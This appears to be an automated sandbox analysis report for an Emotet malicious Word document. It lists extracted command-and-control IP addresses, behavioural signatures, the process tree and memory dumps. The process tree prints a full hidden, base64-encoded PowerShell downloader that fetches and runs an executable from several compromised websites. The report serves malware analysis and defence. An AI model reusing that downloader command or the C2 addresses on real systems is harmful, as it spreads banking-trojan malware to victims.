Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • resource
    win7v191014

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Docs_c3d6e9cced9f71d25309a2240eb8b182.49

  • Sample

    191207-r92wawpw56

  • SHA256

    819273b637aa3d7db7f8e436d37513443d2eb96b7d449bf11cdd3f1fc221d2b6

Score
N/A

Malware Config

Extracted

Family

emotet

C2

172.90.70.168:443

72.69.99.47:80

24.28.178.71:80

172.105.213.30:80

69.30.205.162:7080

50.63.13.135:8080

192.161.190.171:8080

119.159.150.176:443

98.15.140.226:80

190.189.79.73:80

181.44.166.242:80

198.57.217.170:8080

210.224.65.117:80

82.79.244.92:80

72.27.212.209:8080

212.129.14.27:8080

181.47.235.26:993

182.176.116.139:995

142.93.87.198:8080

190.101.87.170:80
rsa_pubkey.plain

Signatures

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs 12 IoCs
    persistence
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Modifies registry class 1 TTPs 64 IoCs
    persistence
  • Executes dropped EXE 4 IoCs
  • Emotet Sync 1 IoCs
    trojanbanker
  • emotet family
    familyemotet
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Drops Office document 4 IoCs
    dropperexploitermaldoc
  • Drops file in system dir 6 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_c3d6e9cced9f71d25309a2240eb8b182.49.doc"
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Drops Office document
    • Drops file in system dir
    PID:1896
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w hidden -en JABBAHMAYQB1AGMAbgBhAHEAZQB6AGgAPQAnAEkAcgB3AHkAeABsAHcAdwBtAGMAaAAnADsAJABGAHAAZwB4AGcAbgBwAHQAIAA9ACAAJwAxADEAJwA7ACQAVgBhAHQAbQB6AHEAZABnAG4AagBzAD0AJwBRAG0AZwB1AHUAbABjAHkAZwBqAG8AcwBoACcAOwAkAFUAaABnAGoAbQBiAGoAcQBjAGwAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAcABnAHgAZwBuAHAAdAArACcALgBlAHgAZQAnADsAJABPAHAAdAB0AHcAeQBmAHEAbABuAGgAZAA9ACcARABuAGcAeQBwAGcAagBnACcAOwAkAFAAeQBwAGsAegB4AGoAdAB3AD0ALgAoACcAbgBlAHcALQAnACsAJwBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAFcAZQBiAEMAbABpAEUAbgBUADsAJABCAGQAaABwAHgAZwBsAHkAPQAnAGgAdAB0AHAAOgAvAC8AbgBlAHcAdAByAGUAbgBkAG0AYQBsAGwALgBzAHQAbwByAGUALwAwADEALQBpAG4AcwB0AGEAbABsAC8AYgBGAE4AaQBXAG4AVgBWAEkALwAqAGgAdAB0AHAAOgAvAC8AcwBjAGEAbQBtAGUAcgByAGUAdgBpAGUAdwBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBEAFMAcwBjAFgASABtAC8AKgBoAHQAdABwADoALwAvAG4AYQBtAGkAcwBhAGYAZgByAG8AbgAuAGMAbwBtAC8AdgA1ADkAcgBuAGkALwBaAFQAdQBhAEoAYQBuAGMAbwAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbwBvAGQAZABhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBkAGUANABwADIAZQBjADMALQB3AGoANABtAGcAaABqAG8AdQAtADEANQA4ADgAOQAvACoAaAB0AHQAcABzADoALwAvAG0AYQB4AGIAaQBsAGwALgBkAGUAdgBwAGEAYwBlAC4AbgBlAHQALwBCAGwAbwBnAC8AdgBsADAAMQBzAC0AMwBiAHUAcQBjAGoALQAwADkAOAAwADcANwAzADAANAAxAC8AJwAuACIAUwBwAGAAbABpAFQAIgAoACcAKgAnACkAOwAkAE8AZABxAG8AcQBlAHUAcwB2AGkAPQAnAFEAeQBjAHgAbAB3AHUAZwBuAGgAcwB2AGQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkAeAB3AGoAZgB2AHYAdABnAGgAYwAgAGkAbgAgACQAQgBkAGgAcAB4AGcAbAB5ACkAewB0AHIAeQB7ACQAUAB5AHAAawB6AHgAagB0AHcALgAiAEQAYABvAHcATgBsAG8AQQBkAGAARgBgAGkATABFACIAKAAkAFkAeAB3AGoAZgB2AHYAdABnAGgAYwAsACAAJABVAGgAZwBqAG0AYgBqAHEAYwBsACkAOwAkAFQAcgBwAGwAaQBoAGcAZgB0AD0AJwBaAGgAdABwAGkAYgBrAGYAdwBpAHcAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABVAGgAZwBqAG0AYgBqAHEAYwBsACkALgAiAGwAZQBuAGAARwBgAFQASAAiACAALQBnAGUAIAAzADQAMAA4ADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAQQByAHQAIgAoACQAVQBoAGcAagBtAGIAagBxAGMAbAApADsAJABMAGIAegBoAGsAdQBsAHUAdgBhAGEAPQAnAEkAcQBrAHQAaQBwAHUAdwBuAG4AeAB6AHIAJwA7AGIAcgBlAGEAawA7ACQAWgBhAHgAegB1AHkAeABmAGcAeABqAG0AZgA9ACcAUwBvAGMAZQBjAHAAbQBvAG4AYwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAG8AYgBpAHMAagBuAHUAdgBkAGIAPQAnAEwAbABkAHYAegBkAHAAcgBjAHUAagB3AG0AJwA=
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • Drops file in system dir
    PID:1984
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "-1564977991624155660-1453012193473192921761962069-536643656-106980508-1099575151"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1964
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k WerSvcGroup
    1⤵
      PID:1808
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
      • Uses Task Scheduler COM API
      PID:1996
    • C:\Users\Admin\11.exe
      "C:\Users\Admin\11.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:752
    • C:\Users\Admin\11.exe
      --47f9ceaa
      1⤵
      • Executes dropped EXE
      • Emotet Sync
      • Suspicious use of SetWindowsHookEx
      • Drops file in system dir
      • Suspicious behavior: EmotetMutantsSpam
      PID:1908
    • C:\Windows\SysWOW64\smomailbox.exe
      "C:\Windows\SysWOW64\smomailbox.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1356
    • C:\Windows\SysWOW64\smomailbox.exe
      --aab38f91
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Drops file in system dir
      • Suspicious behavior: EmotetMutantsSpam
      PID:1432

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\11.exe
      Download Submit

    • C:\Users\Admin\11.exe
      Download Submit

    • C:\Users\Admin\11.exe
      Download Submit

    • C:\Windows\SysWOW64\smomailbox.exe
      Download Submit

    • C:\Windows\SysWOW64\smomailbox.exe
      Download Submit

    • memory/752-19-0x00000000005E0000-0x00000000005F7000-memory.dmp

      Filesize

      92KB

      Download

    • memory/1356-25-0x0000000000390000-0x00000000003A7000-memory.dmp

      Filesize

      92KB

      Download

    • memory/1432-28-0x0000000000400000-0x000000000044A000-memory.dmp

      Filesize

      296KB

      Download

    • memory/1432-27-0x0000000000270000-0x0000000000287000-memory.dmp

      Filesize

      92KB

      Download

    • memory/1896-3-0x000000000649B000-0x000000000649D000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1896-0-0x0000000006200000-0x0000000006204000-memory.dmp

      Filesize

      16KB

      Download

    • memory/1896-4-0x0000000009260000-0x0000000009264000-memory.dmp

      Filesize

      16KB

      Download

    • memory/1896-6-0x000000000649D000-0x00000000064A0000-memory.dmp

      Filesize

      12KB

      Download

    • memory/1896-2-0x0000000006424000-0x0000000006426000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1896-5-0x000000000649B000-0x000000000649D000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1896-1-0x00000000063FE000-0x0000000006424000-memory.dmp

      Filesize

      152KB

      Download

    • memory/1896-8-0x000000000A650000-0x000000000A651000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1896-7-0x000000000649D000-0x00000000064A0000-memory.dmp

      Filesize

      12KB

      Download

    • memory/1908-22-0x00000000004D0000-0x00000000004E7000-memory.dmp

      Filesize

      92KB

      Download

    • memory/1908-23-0x0000000000400000-0x000000000044A000-memory.dmp

      Filesize

      296KB

      Download